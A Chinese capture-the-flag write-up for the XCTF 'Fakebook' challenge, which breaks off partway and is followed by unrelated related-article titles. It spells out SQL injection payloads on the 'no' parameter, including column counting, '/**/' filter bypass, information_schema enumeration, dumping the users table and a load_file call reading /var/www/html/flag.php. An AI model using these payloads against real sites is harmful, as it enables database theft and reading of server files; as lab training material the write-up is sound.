当前位置: 首页 > news >正文

攻防世界-Fakebook

原题

解题思路

        点击join就可以进行注册

        username看起来是个超链,点击跳转 

         在url里出现了no=1,看起来可以注入,改成no=1 and 1=2报错。本来想用sqlmap,可能是网速有问题,啥都没出来。no=1order by 5报错,一共有四列。按照以前的方法现在该看数据库名no=1 union select1,2,3,database(),但是不行。

         网上大佬们的wp都提到了序列化,扫描目录还能看到flag.php在/var/www/html里面,并且使用/**/可以绕过,第二列回显。no=-1/**/union/**/select 1,database(),3,4#

         数据库名字叫fakebook,看列名no=-1 /**/union /**/ select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#

         查看data。no=-1%20/**/union%20/**/%20select%201,group_concat(data)%20,3,4%20from%20users#

        原来反序列化在这里。用load_file函数尝试读取flag。

no=-1/**/union/**/select 1,load_file('/var/www/html/flag.php') ,3,4#,但是返回结果没什么东西。查看源码

 

 

 

         

 

http://www.lryc.cn/news/141984.html

相关文章:

  • 0基础入门C++之类和对象下篇
  • ECMAScript 2023
  • 爬虫实战之使用 Python 的 Scrapy 库开发网络爬虫详解
  • 【面试题】UDP和TCP有啥区别?
  • 字节实习后端面试总结(C++/GO)
  • linux 自动登录SSH
  • 量化:pandas基础
  • 华为云渲染实践
  • SpringBoot注解详解:从核心到Web,从数据到测试,一网打尽
  • Java寻找奇数
  • WinPlan经营大脑:精准预测,科学决策,助力企业赢得未来
  • 多数据源切换以及事务处理
  • docker 重装提示 Exising installation is up to date 解决方法
  • k8s分散部署节点之pod反亲和性(podAntiAffinity)
  • 大A的造血与吸血能力
  • 【数据库】使用ShardingSphere+Mybatis-Plus实现读写分离
  • 【第三方接口】阿里云内容审核SDK的使用
  • IDEA软件安装包分享(附安装教程)
  • 尚硅谷宋红康MySQL笔记 10-13
  • 【ag-grid-vue】基本使用
  • 学习JAVA打卡第四十四天
  • Excel通用表头及单元格合并
  • 微信小程序 自定义全局事件监听实现
  • NC65 树表型参照 搜索全部 按钮点击事件后获取sql的方法
  • 在SpringBoot使用MongoDB时出现的bug和解决
  • 前端面试相关
  • 在ubuntu上部署label-studio
  • HashSet
  • Java-继承和多态(下)
  • Docker搭建并配置Prometheus